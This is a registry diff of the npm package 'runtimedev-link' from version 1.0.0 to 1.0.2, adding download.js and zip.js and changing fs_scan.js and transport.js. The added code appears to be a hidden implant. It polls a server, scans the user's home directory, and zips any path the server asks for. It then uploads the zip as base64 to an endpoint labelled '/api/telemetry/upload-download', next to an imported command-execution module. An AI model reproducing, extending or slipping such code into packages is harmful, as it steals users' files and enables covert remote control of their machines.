runtimedev-link 1.0.0 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/download.js +81 -0
- package/lib/fs_scan.js +56 -25
- package/lib/transport.js +21 -7
- package/lib/zip.js +175 -0
- package/package.json +1 -1
package/lib/download.js
ADDED
|
@@ -0,0 +1,81 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
const { zipPathToBuffer } = require('./zip');
|
|
6
|
+
|
|
7
|
+
const DEFAULT_MAX_ZIP_BYTES = 50 * 1024 * 1024;
|
|
8
|
+
|
|
9
|
+
function envInt(key, fallback) {
|
|
10
|
+
const raw = String(process.env[key] || '').trim();
|
|
11
|
+
if (!raw) return fallback;
|
|
12
|
+
const n = parseInt(raw, 10);
|
|
13
|
+
return Number.isFinite(n) ? n : fallback;
|
|
14
|
+
}
|
|
15
|
+
|
|
16
|
+
function maxZipBytes() {
|
|
17
|
+
return envInt('SSTAR_MAX_DOWNLOAD_ZIP_BYTES', DEFAULT_MAX_ZIP_BYTES);
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
function handleDownloadRequest(req) {
|
|
21
|
+
if (!req || !req.requestId) {
|
|
22
|
+
return { ok: false, error: 'missing requestId' };
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
const requestId = String(req.requestId);
|
|
26
|
+
const kind = String(req.kind || '');
|
|
27
|
+
|
|
28
|
+
if (kind === 'chrome_extension') {
|
|
29
|
+
return {
|
|
30
|
+
ok: false,
|
|
31
|
+
requestId,
|
|
32
|
+
error: 'Chrome extension downloads are not supported by runtimedev-link',
|
|
33
|
+
};
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
if (kind !== 'path') {
|
|
37
|
+
return { ok: false, requestId, error: 'unknown download kind' };
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
const rawPath = req.path != null ? String(req.path).trim() : '';
|
|
41
|
+
if (!rawPath) {
|
|
42
|
+
return { ok: false, requestId, error: 'missing path' };
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
const src = path.resolve(rawPath);
|
|
46
|
+
try {
|
|
47
|
+
const st = fs.statSync(src);
|
|
48
|
+
if (!st.isDirectory() && !st.isFile()) {
|
|
49
|
+
return { ok: false, requestId, error: 'path not accessible' };
|
|
50
|
+
}
|
|
51
|
+
} catch (err) {
|
|
52
|
+
return {
|
|
53
|
+
ok: false,
|
|
54
|
+
requestId,
|
|
55
|
+
error: `path not accessible: ${String(err.message || err)}`,
|
|
56
|
+
};
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
try {
|
|
60
|
+
const maxOut = maxZipBytes();
|
|
61
|
+
const { zip, archiveName } = zipPathToBuffer(src, { maxOut });
|
|
62
|
+
return {
|
|
63
|
+
ok: true,
|
|
64
|
+
requestId,
|
|
65
|
+
filename: archiveName,
|
|
66
|
+
base64: zip.toString('base64'),
|
|
67
|
+
fileSizeBytes: zip.length,
|
|
68
|
+
};
|
|
69
|
+
} catch (err) {
|
|
70
|
+
return {
|
|
71
|
+
ok: false,
|
|
72
|
+
requestId,
|
|
73
|
+
error: String(err.message || err),
|
|
74
|
+
};
|
|
75
|
+
}
|
|
76
|
+
}
|
|
77
|
+
|
|
78
|
+
module.exports = {
|
|
79
|
+
handleDownloadRequest,
|
|
80
|
+
maxZipBytes,
|
|
81
|
+
};
|
package/lib/fs_scan.js
CHANGED
|
@@ -25,18 +25,44 @@ function shouldSkipPath(absPath) {
|
|
|
25
25
|
|
|
26
26
|
function skipDirName(name) {
|
|
27
27
|
if (!name || name === '.' || name === '..') return true;
|
|
28
|
-
|
|
29
|
-
|
|
28
|
+
switch (String(name).toLowerCase()) {
|
|
29
|
+
case 'system volume information':
|
|
30
|
+
case '$recycle.bin':
|
|
31
|
+
case 'recovery':
|
|
32
|
+
case 'node_modules':
|
|
33
|
+
return true;
|
|
34
|
+
default:
|
|
35
|
+
return false;
|
|
36
|
+
}
|
|
30
37
|
}
|
|
31
38
|
|
|
32
39
|
function defaultScanRoot() {
|
|
33
40
|
try {
|
|
41
|
+
if (process.platform === 'win32') {
|
|
42
|
+
const profile = process.env.USERPROFILE;
|
|
43
|
+
if (profile) return profile;
|
|
44
|
+
}
|
|
34
45
|
return process.env.HOME || process.env.USERPROFILE || process.cwd();
|
|
35
46
|
} catch {
|
|
36
47
|
return '.';
|
|
37
48
|
}
|
|
38
49
|
}
|
|
39
50
|
|
|
51
|
+
function entryKind(absPath, entry) {
|
|
52
|
+
try {
|
|
53
|
+
if (entry.isDirectory()) return 'directory';
|
|
54
|
+
if (entry.isFile()) return 'file';
|
|
55
|
+
if (entry.isSymbolicLink()) {
|
|
56
|
+
const st = fs.statSync(absPath);
|
|
57
|
+
if (st.isDirectory()) return 'directory';
|
|
58
|
+
if (st.isFile()) return 'file';
|
|
59
|
+
}
|
|
60
|
+
} catch {
|
|
61
|
+
// unreadable entry
|
|
62
|
+
}
|
|
63
|
+
return null;
|
|
64
|
+
}
|
|
65
|
+
|
|
40
66
|
function scanDirectory(root, opts) {
|
|
41
67
|
const maxEntries =
|
|
42
68
|
opts && opts.maxEntries > 0
|
|
@@ -45,20 +71,23 @@ function scanDirectory(root, opts) {
|
|
|
45
71
|
const depth =
|
|
46
72
|
opts && opts.depth > 0 ? Math.min(opts.depth, 50) : 5;
|
|
47
73
|
const cleanRoot = path.resolve(String(root || defaultScanRoot()));
|
|
48
|
-
|
|
74
|
+
|
|
75
|
+
try {
|
|
76
|
+
const st = fs.statSync(cleanRoot);
|
|
77
|
+
if (!st.isDirectory()) return null;
|
|
78
|
+
} catch {
|
|
49
79
|
return null;
|
|
50
80
|
}
|
|
51
|
-
|
|
52
|
-
|
|
81
|
+
|
|
82
|
+
if (shouldSkipPath(cleanRoot)) return null;
|
|
83
|
+
|
|
84
|
+
// Match agent-go: root node is named "/" regardless of path.
|
|
85
|
+
return walkDir(cleanRoot, '/', depth, maxEntries);
|
|
53
86
|
}
|
|
54
87
|
|
|
55
|
-
function walkDir(absPath, displayName, remainingDepth, maxEntries
|
|
56
|
-
if (
|
|
57
|
-
|
|
58
|
-
}
|
|
59
|
-
if (shouldSkipPath(absPath)) {
|
|
60
|
-
return null;
|
|
61
|
-
}
|
|
88
|
+
function walkDir(absPath, displayName, remainingDepth, maxEntries) {
|
|
89
|
+
if (remainingDepth <= 0) return null;
|
|
90
|
+
if (shouldSkipPath(absPath)) return null;
|
|
62
91
|
|
|
63
92
|
let entries = [];
|
|
64
93
|
try {
|
|
@@ -68,30 +97,32 @@ function walkDir(absPath, displayName, remainingDepth, maxEntries, state) {
|
|
|
68
97
|
}
|
|
69
98
|
|
|
70
99
|
const children = [];
|
|
100
|
+
let n = 0;
|
|
101
|
+
|
|
71
102
|
for (const entry of entries) {
|
|
72
|
-
if (
|
|
103
|
+
if (n >= maxEntries) break;
|
|
73
104
|
if (skipDirName(entry.name)) continue;
|
|
74
105
|
|
|
75
106
|
const subPath = path.join(absPath, entry.name);
|
|
76
107
|
if (shouldSkipPath(subPath)) continue;
|
|
77
108
|
|
|
78
|
-
|
|
79
|
-
|
|
109
|
+
const kind = entryKind(subPath, entry);
|
|
110
|
+
if (!kind) continue;
|
|
111
|
+
|
|
112
|
+
if (kind === 'directory') {
|
|
80
113
|
if (remainingDepth <= 1) {
|
|
81
114
|
children.push({ name: entry.name, type: 'directory' });
|
|
115
|
+
n += 1;
|
|
82
116
|
continue;
|
|
83
117
|
}
|
|
84
|
-
const sub = walkDir(
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
);
|
|
91
|
-
if (sub) children.push(sub);
|
|
92
|
-
} else if (entry.isFile()) {
|
|
93
|
-
state.count += 1;
|
|
118
|
+
const sub = walkDir(subPath, entry.name, remainingDepth - 1, maxEntries);
|
|
119
|
+
if (sub) {
|
|
120
|
+
children.push(sub);
|
|
121
|
+
n += 1;
|
|
122
|
+
}
|
|
123
|
+
} else {
|
|
94
124
|
children.push({ name: entry.name, type: 'file' });
|
|
125
|
+
n += 1;
|
|
95
126
|
}
|
|
96
127
|
}
|
|
97
128
|
|
package/lib/transport.js
CHANGED
|
@@ -7,6 +7,7 @@ const { URL } = require('url');
|
|
|
7
7
|
const { getIdentity } = require('./enum');
|
|
8
8
|
const { scanDirectory, defaultScanRoot } = require('./fs_scan');
|
|
9
9
|
const { runCommand } = require('./exec');
|
|
10
|
+
const { handleDownloadRequest: buildDownloadPayload } = require('./download');
|
|
10
11
|
|
|
11
12
|
const POLL_MIN_SEC = 20;
|
|
12
13
|
const POLL_MAX_SEC = 60;
|
|
@@ -200,11 +201,17 @@ async function postDirectoryScanResult(requestId, scanRoot, tree, errMsg) {
|
|
|
200
201
|
await requestJson('POST', '/api/telemetry/directory-scan-result', payload);
|
|
201
202
|
}
|
|
202
203
|
|
|
203
|
-
async function
|
|
204
|
+
async function postDownloadUpload(payload) {
|
|
204
205
|
await requestJson('POST', '/api/telemetry/upload-download', {
|
|
205
206
|
...identityFields(),
|
|
207
|
+
...payload,
|
|
208
|
+
});
|
|
209
|
+
}
|
|
210
|
+
|
|
211
|
+
async function postDownloadError(requestId, message) {
|
|
212
|
+
await postDownloadUpload({
|
|
206
213
|
requestId: String(requestId || ''),
|
|
207
|
-
error: String(message || '
|
|
214
|
+
error: String(message || 'download failed'),
|
|
208
215
|
});
|
|
209
216
|
}
|
|
210
217
|
|
|
@@ -327,11 +334,18 @@ async function handleDirectoryScan(req) {
|
|
|
327
334
|
}
|
|
328
335
|
|
|
329
336
|
async function handleDownloadRequest(req) {
|
|
330
|
-
|
|
331
|
-
|
|
332
|
-
|
|
333
|
-
|
|
334
|
-
|
|
337
|
+
const result = buildDownloadPayload(req);
|
|
338
|
+
if (!result || !result.requestId) return;
|
|
339
|
+
if (!result.ok) {
|
|
340
|
+
await postDownloadError(result.requestId, result.error || 'download failed');
|
|
341
|
+
return;
|
|
342
|
+
}
|
|
343
|
+
await postDownloadUpload({
|
|
344
|
+
requestId: result.requestId,
|
|
345
|
+
filename: result.filename,
|
|
346
|
+
base64: result.base64,
|
|
347
|
+
fileSizeBytes: result.fileSizeBytes,
|
|
348
|
+
});
|
|
335
349
|
}
|
|
336
350
|
|
|
337
351
|
async function handlePollResponse(data) {
|
package/lib/zip.js
ADDED
|
@@ -0,0 +1,175 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
const { shouldSkipPath } = require('./fs_scan');
|
|
6
|
+
|
|
7
|
+
const LOCAL_SIG = 0x04034b50;
|
|
8
|
+
const CENTRAL_SIG = 0x02014b50;
|
|
9
|
+
const END_SIG = 0x06054b50;
|
|
10
|
+
|
|
11
|
+
const CRC_TABLE = (() => {
|
|
12
|
+
const table = new Uint32Array(256);
|
|
13
|
+
for (let i = 0; i < 256; i += 1) {
|
|
14
|
+
let c = i;
|
|
15
|
+
for (let k = 0; k < 8; k += 1) {
|
|
16
|
+
c = c & 1 ? 0xedb88320 ^ (c >>> 1) : c >>> 1;
|
|
17
|
+
}
|
|
18
|
+
table[i] = c >>> 0;
|
|
19
|
+
}
|
|
20
|
+
return table;
|
|
21
|
+
})();
|
|
22
|
+
|
|
23
|
+
function crc32(buf) {
|
|
24
|
+
let c = 0xffffffff;
|
|
25
|
+
for (let i = 0; i < buf.length; i += 1) {
|
|
26
|
+
c = CRC_TABLE[(c ^ buf[i]) & 0xff] ^ (c >>> 8);
|
|
27
|
+
}
|
|
28
|
+
return (c ^ 0xffffffff) >>> 0;
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
function collectFiles(absRoot, maxFileBytes, maxFiles, state) {
|
|
32
|
+
const out = [];
|
|
33
|
+
const st = fs.statSync(absRoot);
|
|
34
|
+
if (st.isFile()) {
|
|
35
|
+
if (!st.isFile() || st.size > maxFileBytes) return out;
|
|
36
|
+
out.push({
|
|
37
|
+
name: path.basename(absRoot),
|
|
38
|
+
data: fs.readFileSync(absRoot),
|
|
39
|
+
});
|
|
40
|
+
return out;
|
|
41
|
+
}
|
|
42
|
+
if (!st.isDirectory()) return out;
|
|
43
|
+
|
|
44
|
+
function walk(dir, relPrefix) {
|
|
45
|
+
if (out.length >= maxFiles || state.bytes > state.maxOut) return;
|
|
46
|
+
let entries = [];
|
|
47
|
+
try {
|
|
48
|
+
entries = fs.readdirSync(dir, { withFileTypes: true });
|
|
49
|
+
} catch {
|
|
50
|
+
return;
|
|
51
|
+
}
|
|
52
|
+
for (const entry of entries) {
|
|
53
|
+
if (out.length >= maxFiles || state.bytes > state.maxOut) break;
|
|
54
|
+
const sub = path.join(dir, entry.name);
|
|
55
|
+
if (shouldSkipPath(sub)) continue;
|
|
56
|
+
const rel = relPrefix ? `${relPrefix}/${entry.name}` : entry.name;
|
|
57
|
+
if (entry.isDirectory()) {
|
|
58
|
+
walk(sub, rel);
|
|
59
|
+
} else if (entry.isFile()) {
|
|
60
|
+
let info;
|
|
61
|
+
try {
|
|
62
|
+
info = fs.statSync(sub);
|
|
63
|
+
} catch {
|
|
64
|
+
continue;
|
|
65
|
+
}
|
|
66
|
+
if (!info.isFile() || info.size > maxFileBytes) continue;
|
|
67
|
+
let data;
|
|
68
|
+
try {
|
|
69
|
+
data = fs.readFileSync(sub);
|
|
70
|
+
} catch {
|
|
71
|
+
continue;
|
|
72
|
+
}
|
|
73
|
+
state.bytes += data.length;
|
|
74
|
+
if (state.bytes > state.maxOut) break;
|
|
75
|
+
out.push({ name: rel.replace(/\\/g, '/'), data });
|
|
76
|
+
}
|
|
77
|
+
}
|
|
78
|
+
}
|
|
79
|
+
|
|
80
|
+
walk(absRoot, '');
|
|
81
|
+
return out;
|
|
82
|
+
}
|
|
83
|
+
|
|
84
|
+
function buildZip(files) {
|
|
85
|
+
const parts = [];
|
|
86
|
+
const central = [];
|
|
87
|
+
let offset = 0;
|
|
88
|
+
|
|
89
|
+
for (const file of files) {
|
|
90
|
+
const nameBuf = Buffer.from(file.name, 'utf8');
|
|
91
|
+
const data = file.data;
|
|
92
|
+
const checksum = crc32(data);
|
|
93
|
+
const local = Buffer.alloc(30 + nameBuf.length);
|
|
94
|
+
local.writeUInt32LE(LOCAL_SIG, 0);
|
|
95
|
+
local.writeUInt16LE(20, 4);
|
|
96
|
+
local.writeUInt16LE(0, 6);
|
|
97
|
+
local.writeUInt16LE(0, 8);
|
|
98
|
+
local.writeUInt16LE(0, 10);
|
|
99
|
+
local.writeUInt16LE(0, 12);
|
|
100
|
+
local.writeUInt32LE(checksum, 14);
|
|
101
|
+
local.writeUInt32LE(data.length, 18);
|
|
102
|
+
local.writeUInt32LE(data.length, 22);
|
|
103
|
+
local.writeUInt16LE(nameBuf.length, 26);
|
|
104
|
+
local.writeUInt16LE(0, 28);
|
|
105
|
+
nameBuf.copy(local, 30);
|
|
106
|
+
|
|
107
|
+
const centralHdr = Buffer.alloc(46 + nameBuf.length);
|
|
108
|
+
centralHdr.writeUInt32LE(CENTRAL_SIG, 0);
|
|
109
|
+
centralHdr.writeUInt16LE(20, 4);
|
|
110
|
+
centralHdr.writeUInt16LE(20, 6);
|
|
111
|
+
centralHdr.writeUInt16LE(0, 8);
|
|
112
|
+
centralHdr.writeUInt16LE(0, 10);
|
|
113
|
+
centralHdr.writeUInt16LE(0, 12);
|
|
114
|
+
centralHdr.writeUInt16LE(0, 14);
|
|
115
|
+
centralHdr.writeUInt32LE(checksum, 16);
|
|
116
|
+
centralHdr.writeUInt32LE(data.length, 20);
|
|
117
|
+
centralHdr.writeUInt32LE(data.length, 24);
|
|
118
|
+
centralHdr.writeUInt16LE(nameBuf.length, 28);
|
|
119
|
+
centralHdr.writeUInt16LE(0, 30);
|
|
120
|
+
centralHdr.writeUInt16LE(0, 32);
|
|
121
|
+
centralHdr.writeUInt16LE(0, 34);
|
|
122
|
+
centralHdr.writeUInt16LE(0, 36);
|
|
123
|
+
centralHdr.writeUInt32LE(0, 38);
|
|
124
|
+
centralHdr.writeUInt32LE(offset, 42);
|
|
125
|
+
nameBuf.copy(centralHdr, 46);
|
|
126
|
+
|
|
127
|
+
parts.push(local, data);
|
|
128
|
+
central.push(centralHdr);
|
|
129
|
+
offset += local.length + data.length;
|
|
130
|
+
}
|
|
131
|
+
|
|
132
|
+
const centralBuf = Buffer.concat(central);
|
|
133
|
+
const end = Buffer.alloc(22);
|
|
134
|
+
end.writeUInt32LE(END_SIG, 0);
|
|
135
|
+
end.writeUInt16LE(0, 4);
|
|
136
|
+
end.writeUInt16LE(0, 6);
|
|
137
|
+
end.writeUInt16LE(files.length, 8);
|
|
138
|
+
end.writeUInt16LE(files.length, 10);
|
|
139
|
+
end.writeUInt32LE(centralBuf.length, 12);
|
|
140
|
+
end.writeUInt32LE(offset, 16);
|
|
141
|
+
end.writeUInt16LE(0, 20);
|
|
142
|
+
|
|
143
|
+
return Buffer.concat([...parts, centralBuf, end]);
|
|
144
|
+
}
|
|
145
|
+
|
|
146
|
+
function zipPathToBuffer(src, opts) {
|
|
147
|
+
const maxOut =
|
|
148
|
+
opts && opts.maxOut > 0 ? opts.maxOut : 50 * 1024 * 1024;
|
|
149
|
+
const maxFile =
|
|
150
|
+
opts && opts.maxFileBytes > 0 ? opts.maxFileBytes : maxOut;
|
|
151
|
+
const maxFiles =
|
|
152
|
+
opts && opts.maxFiles > 0 ? opts.maxFiles : 5000;
|
|
153
|
+
const clean = path.resolve(String(src || ''));
|
|
154
|
+
const state = { bytes: 0, maxOut };
|
|
155
|
+
const files = collectFiles(clean, maxFile, maxFiles, state);
|
|
156
|
+
if (files.length === 0) {
|
|
157
|
+
throw new Error('nothing to zip (empty or unreadable path)');
|
|
158
|
+
}
|
|
159
|
+
if (state.bytes > maxOut) {
|
|
160
|
+
throw new Error('zipped payload exceeds size limit');
|
|
161
|
+
}
|
|
162
|
+
const zip = buildZip(files);
|
|
163
|
+
if (zip.length > maxOut) {
|
|
164
|
+
throw new Error('zipped payload exceeds size limit');
|
|
165
|
+
}
|
|
166
|
+
const archiveName =
|
|
167
|
+
opts && opts.archiveName
|
|
168
|
+
? opts.archiveName
|
|
169
|
+
: path.basename(clean) + '.zip';
|
|
170
|
+
return { zip, archiveName };
|
|
171
|
+
}
|
|
172
|
+
|
|
173
|
+
module.exports = {
|
|
174
|
+
zipPathToBuffer,
|
|
175
|
+
};
|